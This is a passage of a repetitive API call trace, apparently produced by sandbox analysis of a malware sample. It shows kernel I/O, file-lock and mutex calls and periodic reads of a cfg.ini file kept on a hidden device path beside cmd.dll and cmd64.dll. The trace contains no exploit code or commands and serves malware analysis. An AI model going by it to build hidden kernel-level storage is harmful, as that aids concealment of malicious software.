Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.154] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.154] IdePortDispatch () returned 0x103 [0119.154] KeWaitForMutexObject () returned 0x0 [0119.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.154] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.154] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.154] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.155] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.155] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf2f0 [0119.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.155] KeLeaveCriticalRegion () [0119.155] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.155] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.155] KeEnterCriticalRegion () [0119.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.155] KeLeaveCriticalRegion () [0119.155] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.155] KeEnterCriticalRegion () [0119.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.155] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.155] IdePortDispatch () returned 0x103 [0119.155] KeWaitForMutexObject () returned 0x0 [0119.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.155] KeLeaveCriticalRegion () [0119.155] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.155] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.155] KeEnterCriticalRegion () [0119.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c74000 [0119.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.155] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.155] IdePortDispatch () returned 0x103 [0119.155] KeWaitForMutexObject () returned 0x0 [0119.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.156] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.156] IdePortDispatch () returned 0x103 [0119.156] KeWaitForMutexObject () returned 0x0 [0119.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.156] KeLeaveCriticalRegion () [0119.156] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.157] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.157] KeEnterCriticalRegion () [0119.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.157] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.157] KeLeaveCriticalRegion () [0119.157] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.157] KeEnterCriticalRegion () [0119.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.157] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.157] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.157] KeLeaveCriticalRegion () [0119.157] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.157] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.157] KeEnterCriticalRegion () [0119.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.157] ExFreePoolWithTag (P=0xfffffa8003bbf2f0, Tag=0x0) [0119.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.157] KeLeaveCriticalRegion () [0119.157] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.157] ReleaseMutex (hMutex=0xf0) returned 1 [0119.157] Sleep (dwMilliseconds=0x124f80) [0119.171] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.171] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.171] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.171] KeEnterCriticalRegion () [0119.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.171] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.171] IdePortDispatch () returned 0x103 [0119.171] KeWaitForMutexObject () returned 0x0 [0119.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.171] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.171] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.171] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.171] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.171] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcef10 [0119.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.171] KeLeaveCriticalRegion () [0119.171] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.171] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.171] KeEnterCriticalRegion () [0119.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.171] KeLeaveCriticalRegion () [0119.171] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.172] KeEnterCriticalRegion () [0119.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.172] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.172] IdePortDispatch () returned 0x103 [0119.172] KeWaitForMutexObject () returned 0x0 [0119.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.172] KeLeaveCriticalRegion () [0119.172] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.172] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.172] KeEnterCriticalRegion () [0119.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c79000 [0119.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.172] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.172] IdePortDispatch () returned 0x103 [0119.172] KeWaitForMutexObject () returned 0x0 [0119.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.172] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.172] IdePortDispatch () returned 0x103 [0119.173] KeWaitForMutexObject () returned 0x0 [0119.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.173] KeLeaveCriticalRegion () [0119.173] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.173] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.173] KeEnterCriticalRegion () [0119.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.173] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.173] KeLeaveCriticalRegion () [0119.173] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.173] KeEnterCriticalRegion () [0119.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.173] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.173] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.173] KeLeaveCriticalRegion () [0119.173] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.173] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.173] KeEnterCriticalRegion () [0119.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.173] ExFreePoolWithTag (P=0xfffffa8003bcef10, Tag=0x0) [0119.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.173] KeLeaveCriticalRegion () [0119.173] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.174] ReleaseMutex (hMutex=0xf0) returned 1 [0119.174] Sleep (dwMilliseconds=0x124f80) [0119.188] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.188] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.188] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.188] KeEnterCriticalRegion () [0119.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.188] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.188] IdePortDispatch () returned 0x103 [0119.188] KeWaitForMutexObject () returned 0x0 [0119.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.188] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.188] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.188] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.188] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.188] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8590 [0119.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.188] KeLeaveCriticalRegion () [0119.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.188] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.188] KeEnterCriticalRegion () [0119.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.188] KeLeaveCriticalRegion () [0119.189] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.189] KeEnterCriticalRegion () [0119.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.189] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.189] IdePortDispatch () returned 0x103 [0119.189] KeWaitForMutexObject () returned 0x0 [0119.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.189] KeLeaveCriticalRegion () [0119.189] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.189] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.189] KeEnterCriticalRegion () [0119.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.189] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7e000 [0119.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.189] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.189] IdePortDispatch () returned 0x103 [0119.189] KeWaitForMutexObject () returned 0x0 [0119.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.189] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.189] IdePortDispatch () returned 0x103 [0119.190] KeWaitForMutexObject () returned 0x0 [0119.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.190] KeLeaveCriticalRegion () [0119.190] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.190] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.190] KeEnterCriticalRegion () [0119.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.190] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.190] KeLeaveCriticalRegion () [0119.190] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.190] KeEnterCriticalRegion () [0119.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.190] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.190] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.190] KeLeaveCriticalRegion () [0119.190] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.190] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.190] KeEnterCriticalRegion () [0119.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.190] ExFreePoolWithTag (P=0xfffffa8003aa8590, Tag=0x0) [0119.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.191] KeLeaveCriticalRegion () [0119.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.191] ReleaseMutex (hMutex=0xf0) returned 1 [0119.191] Sleep (dwMilliseconds=0x124f80) [0119.204] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.204] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.204] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.204] KeEnterCriticalRegion () [0119.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.204] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.205] IdePortDispatch () returned 0x103 [0119.205] KeWaitForMutexObject () returned 0x0 [0119.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.205] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.205] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.205] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.205] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.205] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbab0 [0119.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.205] KeLeaveCriticalRegion () [0119.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.205] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.205] KeEnterCriticalRegion () [0119.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.205] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.205] KeLeaveCriticalRegion () [0119.205] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.205] KeEnterCriticalRegion () [0119.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.205] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.205] IdePortDispatch () returned 0x103 [0119.205] KeWaitForMutexObject () returned 0x0 [0119.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.205] ExReleaseFastMutexUnsafe (in: 